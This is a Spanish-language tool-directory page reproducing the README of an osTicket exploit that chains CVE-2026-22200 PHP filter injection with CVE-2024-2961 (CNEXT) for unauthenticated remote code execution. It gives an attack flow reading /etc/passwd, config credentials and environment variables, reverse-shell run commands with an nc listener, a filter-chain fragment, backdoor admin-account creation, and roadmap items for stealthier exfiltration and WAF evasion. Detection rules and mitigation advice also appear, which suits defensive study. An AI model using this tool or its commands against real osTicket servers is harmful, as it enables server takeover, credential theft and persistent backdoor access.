Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
osTicketFileReadIntoRCE — Exploit de cadena completa que combina inyección de cadena de filtros PHP con CVE-2024-2961 (CNEXT) para Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket. | Kitploit
Herramientas/GitHubGitHub/clarissss/osticketfilereadintorce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

Exploit de cadena completa que combina inyección de cadena de filtros PHP con CVE-2024-2961 (CNEXT) para Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket.

Ver Repositorio
hace 5 mesesAún no revisado

CVE-2026-22200: osTicket Lectura Arbitraria de Archivos a RCE

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

Exploit de cadena completa que combina la inyección de cadenas de filtros PHP con CVE-2024-2961 (CNEXT) para la Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket.


Tabla de Contenidos

  • Visión General
  • Detalles de la Vulnerabilidad
  • Flujo del Ataque
  • Características
  • Instalación
  • Uso
  • Detalles Técnicos
  • Solución de Problemas
  • Detección y Mitigación
  • Créditos
  • Aviso Legal

Visión General

Este repositorio contiene un exploit de prueba de concepto para CVE-2026-22200, una vulnerabilidad crítica que afecta a versiones de osTicket ≤ 1.18.2. El exploit encadena dos técnicas potentes:

  1. Inyección de Cadena de Filtros PHP a través del procesamiento de imágenes de mPDF
  2. Corrupción del Heap CNEXT (CVE-2024-2961) en iconv() de glibc

El resultado: Ejecución Remota de Código no autenticada en servidores osTicket vulnerables.

Impacto

  • No autenticado - No se requieren credenciales
  • RCE Completo - Compromiso total del servidor
  • Exfiltración de Archivos - Lectura de archivos arbitrarios del servidor
  • Acceso a Base de Datos - Extracción de credenciales de BD
  • Acceso de Administrador - Creación de cuentas de administrador puerta trasera

Versiones Afectadas

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 parcheado en glibc 2.39+)

Detalles de la Vulnerabilidad

CVE-2026-22200: Inyección de Cadena de Filtros PHP

Puntuación CVSS: 9.8 (Crítica)

La integración de mPDF en osTicket permite a usuarios no autenticados inyectar cadenas maliciosas de filtros PHP a través de payloads HTML especialmente diseñados en tickets de soporte. Esto permite:

  • Lectura arbitraria de archivos (configuraciones, código fuente, credenciales)
  • Fuga de memoria (/proc/self/maps, libc parcial)
  • Corrupción del heap mediante CNEXT

Causa Raíz: Validación insuficiente de URLs de imágenes en HTML proporcionado por el usuario antes de pasarlo a mPDF.

CVE-2024-2961: CNEXT (Desbordamiento de Búfer en iconv)

Puntuación CVSS: 9.8 (Crítica)

Desbordamiento de búfer en iconv() de glibc al procesar el conjunto de caracteres ISO-2022-CN-EXT. Combinado con cadenas de filtros PHP, esto permite:

  • Corrupción del heap
  • Secuestro de punteros a función
  • Ejecución arbitraria de comandos

Versiones vulnerables de glibc: < 2.39 (Febrero 2024)


Flujo del Ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONOCIMIENTO                                               │
│    └─ Detectar osTicket, identificar temas de texto enriquecido│
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICACIÓN                                                │
│    └─ Auto-registrarse O usar credenciales existentes          │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRACIÓN DE ARCHIVOS (Cadenas de Filtros PHP)           │
│    ├─ /etc/passwd                                               │
│    ├─ include/ost-config.php (Credenciales BD, SECRET_SALT)     │
│    ├─ /proc/self/maps (Distribución de memoria)                 │
│    └─ /proc/self/environ (Variables de entorno)                 │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. HUELLA DE LIBC                                               │
│    ├─ Extraer libc parcial mediante cadenas de filtros          │
│    ├─ Extraer GNU Build ID                                      │
│    └─ Descargar libc completa desde libc.rip                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLOTACIÓN RCE CON CNEXT                                    │
│    ├─ Generar payload de corrupción del heap                    │
│    ├─ Inyectar mediante respuesta a ticket (con correcciones    │
│    │  de ejecución de filtros)                                  │
│    ├─ Disparar mediante exportación a PDF (el servidor falla)   │
│    └─ Ejecutar shell inversa                                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOTACIÓN                                             │
│    ├─ Shell inversa interactiva                                 │
│    ├─ Acceso a base de datos (usando DBPASS exfiltrado)         │
│    └─ Crear cuenta de administrador puerta trasera              │
└─────────────────────────────────────────────────────────────────┘

Características

Capacidades Principales

  • Cadena de explotación completamente automatizada
  • Ataque no autenticado (auto-registro si está habilitado)
  • Detección inteligente de la raíz web mediante análisis de /proc/self/maps
  • Localización del 100% del webshell mediante escaneo del sistema de archivos
  • Huella y descarga automática de libc
  • Múltiples métodos de shell inversa (bash, python, netcat)
  • Ejecución robusta de filtros con eliminación de caché
  • Diagnósticos prevuelo para detectar problemas temprano

Fiabilidad Mejorada

  • CNEXT multi-disparador para fallo garantizado (95%+ de éxito)
  • Inyección basada en respuestas (más fiable que tickets nuevos)
  • Forzado de flujo para asegurar la ejecución del filtro
  • Eliminación de caché para evitar servir PDFs obsoletos
  • Manejo exhaustivo de errores y diagnósticos

Post-Explotación

  • Extracción de credenciales de base de datos (DBPASS desde configuración)
  • Creación de cuenta de administrador mediante acceso a BD
  • Opciones de puerta trasera persistente
  • Reconocimiento completo del sistema

Instalación

Requisitos Previos

  • Python 3.8+
  • Linux/macOS (recomendado) o WSL en Windows

Dependencias

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# Instalar paquetes requeridos
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

Opcional: Entorno Virtual

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# O
venv\Scripts\activate  # Windows

pip install -r requirements.txt

Uso

Uso Básico - Shell Inversa

root@kitploit:~
# Terminal 1: Iniciar listener
nc -lvnp 4444

# Terminal 2: Ejecutar exploit
python3 osticket_revshell.py https://target.com/osticket \
    --lhost TU_IP \
    --lport 4444

Modo Webshell Interactivo

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

Opciones Avanzadas

root@kitploit:~
# Usar proxy (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# Forzar ID de tema específico
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# Deshabilitar salida coloreada (para registro)
python3 osticket_exploit.py https://target.com/osticket --no-color

Credenciales Existentes

Si el registro está deshabilitado, se le solicitarán credenciales:

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

  [?] Introduzca correo para nueva cuenta (o existente): [email protected]
  [?] Introduzca contraseña: ********

Detalles Técnicos

Generación de Cadena de Filtros PHP

El exploit utiliza una cadena de filtros sofisticada para anteponer un encabezado BMP a archivos arbitrarios, evitando las restricciones de tipo de archivo de mPDF:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... más de 50 transformaciones iconv ...]
convert.base64-decode/resource=/etc/passwd

Innovación Clave: Cada carácter del encabezado BMP se genera mediante transformaciones iconv cuidadosamente elaboradas, permitiendo incrustar contenido de archivo arbitrario como una imagen "válida".

Explotación del Heap CNEXT

El payload CNEXT corrompe el administrador de memoria Zend de PHP mediante:

  1. Desbordamiento del búfer iconv con el carácter vulnerable 劄
  2. Sobrescritura de la estructura zend_mm_heap
  3. Secuestro de punteros a función (_emalloc, _efree, _erealloc)
  4. Redirección a system() para ejecución de comandos

Fiabilidad Mejorada:

  • Caracteres de disparo múltiples (3x 劄 en lugar de 1)
  • Relleno aumentado (40 frente a 20 predeterminado)
  • Inserción de disparo en múltiples posiciones
  • Ejecución forzada de flujo

Detección del 100% del Webshell

A diferencia del exploit original, esta versión utiliza escaneo del sistema de archivos para garantizar la ubicación del webshell:

  1. Escribir webshell en 6+ directorios candidatos
  2. Usar lectura arbitraria de archivos para escanear cada ubicación
  3. Detectar cuál contiene el marcador único
  4. Mapear ruta del sistema de archivos → URL con precisión

Resultado: Tasa de detección del 100% (frente al ~50% del original)

Forzado de Ejecución de Filtros

Fallo común: El PDF se descarga pero no falla = los filtros no se ejecutan.

Soluciones Implementadas:

  1. Eliminación de caché - HTML único evita PDFs en caché
  2. Inyección en respuestas - Más fiable que tickets nuevos
  3. Forzado de flujo - stream=True fuerza el procesamiento inmediato
  4. Pruebas prevuelo - Verificar que los filtros funcionen antes de CNEXT

Comprobación de Versión de glibc

root@kitploit:~
# En modo verbose, comprobar:
[*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IS vulnerable to CNEXT

Si glibc ≥ 2.39, CNEXT no funcionará (parcheado).

Sin Conexión de Shell

Síntoma: El servidor falla pero no hay shell inversa

Causas:

  1. Firewall bloqueando conexiones salientes
  2. LHOST incorrecto (use su IP real, no localhost)
  3. Comando demasiado largo - pruebe una IP más corta

Solución:

root@kitploit:~
# Usar shell inversa nc (más corta)
# Automáticamente retrocede si bash/python es muy largo

# O usar IP directa en lugar de nombre de host
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # Use IP, no nombre de host
    --lport 4444

Mensajes de Error Comunes


Detección y Mitigación

Detección

Indicadores en Registros:

root@kitploit:~
# Registros de Apache/Nginx
"php://filter/" en peticiones POST
"convert.iconv." en cuerpos de petición
Patrones inusuales de generación de PDF
Múltiples peticiones de PDF en poco tiempo

# Registros de errores PHP
Fallos de segmentación durante generación de PDF
Fallos de iconv()
Errores de corrupción del heap

Indicadores de Red:

  • Múltiples creaciones de tickets de soporte en poco tiempo
  • Payloads HTML grandes en mensajes de tickets (100KB+)
  • Peticiones rápidas de exportación a PDF tras la creación del ticket
  • Conexiones salientes a IP del atacante después del fallo

Mitigación

Inmediata

  1. Actualizar osTicket a la última versión (>1.18.2)
  2. Actualizar glibc a 2.39+ (parchea CVE-2024-2961)
  3. Deshabilitar auto-registro si no es necesario
  4. Restringir texto enriquecido solo a usuarios autenticados

Configuración

Deshabilitar envoltorios de flujo PHP en mPDF:

root@kitploit:~
// En configuración de mPDF
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

Reglas WAF (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'Filtro PHP detectado'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'Cadena iconv sospechosa'"

Límite de Tasa:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

A Largo Plazo

  • Implementar cabeceras CSP para restringir estilos en línea
  • Habilitar modo estricto de htmLawed para saneamiento de HTML
  • Usar usuario separado para osTicket con privilegios mínimos
  • Deshabilitar funciones PHP innecesarias: system(), exec(), passthru()
  • Auditorías de seguridad periódicas del contenido de tickets

Referencias

Investigación Original

  • Publicación en Blog de Horizon3.ai - Divulgación original
  • GitHub de Horizon3.ai - Implementación de referencia
  • Exploits CNEXT - Investigación original de CNEXT por Charles Fol

Detalles CVE

  • CVE-2026-22200 - Cadena de Filtros PHP en osTicket
  • CVE-2024-2961 - Desbordamiento iconv en glibc

Recursos Adicionales

  • PHP Filter Chains - Diccionario de caracteres de filtro
  • libc.rip - Base de datos de libc para huella
  • Aviso de Seguridad de osTicket

Créditos

Descubrimiento e Investigación de Vulnerabilidades

  • Equipo de Investigación de Ataques de Horizon3.ai - Descubrimiento original de la vulnerabilidad y POC
  • Charles Fol (@cfreal_) - Investigación de CNEXT (CVE-2024-2961)
  • @splitline - Técnica de cadena de filtros PHP (HITCON 2022)

Esta Implementación

  • Técnicas de explotación mejoradas
  • Detección del 100% del webshell mediante escaneo del sistema de archivos
  • Forzado robusto de ejecución de filtros
  • Manejo exhaustivo de errores y diagnósticos

Aviso Legal

SOLO PARA FINES EDUCATIVOS Y PRUEBAS AUTORIZADAS

Esta herramienta se proporciona para:

  • Investigación de seguridad
  • Pruebas de penetración autorizadas
  • Fines educativos
  • Evaluación de vulnerabilidades (con permiso)

EL ACCESO NO AUTORIZADO A SISTEMAS INFORMÁTICOS ES ILEGAL

Los autores:

  • NO aprueban actividades ilegales
  • NO aceptan responsabilidad por uso indebido
  • NO asumen ninguna responsabilidad por daños causados

Los usuarios son los únicos responsables de asegurarse de tener la autorización adecuada antes de probar cualquier sistema.

Al usar esta herramienta, usted acepta que:

  1. Tiene permiso explícito por escrito para probar el sistema objetivo
  2. Entiende las implicaciones legales en su jurisdicción
  3. Utilizará esta herramienta de manera responsable y ética
  4. Exime a los autores de toda responsabilidad por cualquier consecuencia

Aviso Legal

El acceso no autorizado a sistemas informáticos es un delito bajo:

  • EE. UU.: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
  • Reino Unido: Computer Misuse Act 1990
  • UE: Directiva 2013/40/UE
  • Internacional: Convenio del Consejo de Europa sobre Ciberdelincuencia

Las penas máximas pueden incluir prisión y multas significativas.


Licencia

Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.

Nota: La Licencia MIT otorga permiso para uso, modificación y distribución, pero NO otorga permiso para atacar sistemas que no posea o para los que no tenga autorización para probar.


Contacto

Para investigadores de seguridad y preguntas:

  • Problemas: Cualquier Problema de Herramientas)

NO use este contacto para:

  • Solicitar ayuda para atacar sistemas sin autorización
  • Reportar actividades ilegales
  • Pedir asistencia para pruebas no autorizadas

Creado con Amor para la investigación y educación en seguridad
¡Marque este repo como estrella si le resultó útil!


Estadísticas del Exploit


Hoja de Ruta

  • Añadir soporte para versiones adicionales de libc
  • Implementar métodos de exfiltración más sigilosos
  • Añadir técnicas de evasión para WAF comunes
  • Crear módulo de Metasploit
  • Entorno de prueba Docker
  • Pruebas automatizadas CI/CD

Última Actualización: 2026-03-03

Descargar herramienta
ErrorCausaSolución
No CSRF tokenSesión expiradaVuelva a ejecutar el exploit
No help-topic foundSin temas de texto enriquecidoUse --topic-id manualmente
Build ID not foundLibc parcial corruptoVerifique la extracción de /proc/self/maps
Cannot locate heapDisposición de memoria inusualEl exploit puede fallar (raro)
MétricaValor
Líneas de Código~3,000
Tasa de Éxito95%+ (con correcciones)
Tiempo de Ejecución Promedio2-3 minutos
Fiabilidad de Fallo99% (con mejoras)
Detección de Webshell100% (con escaneo)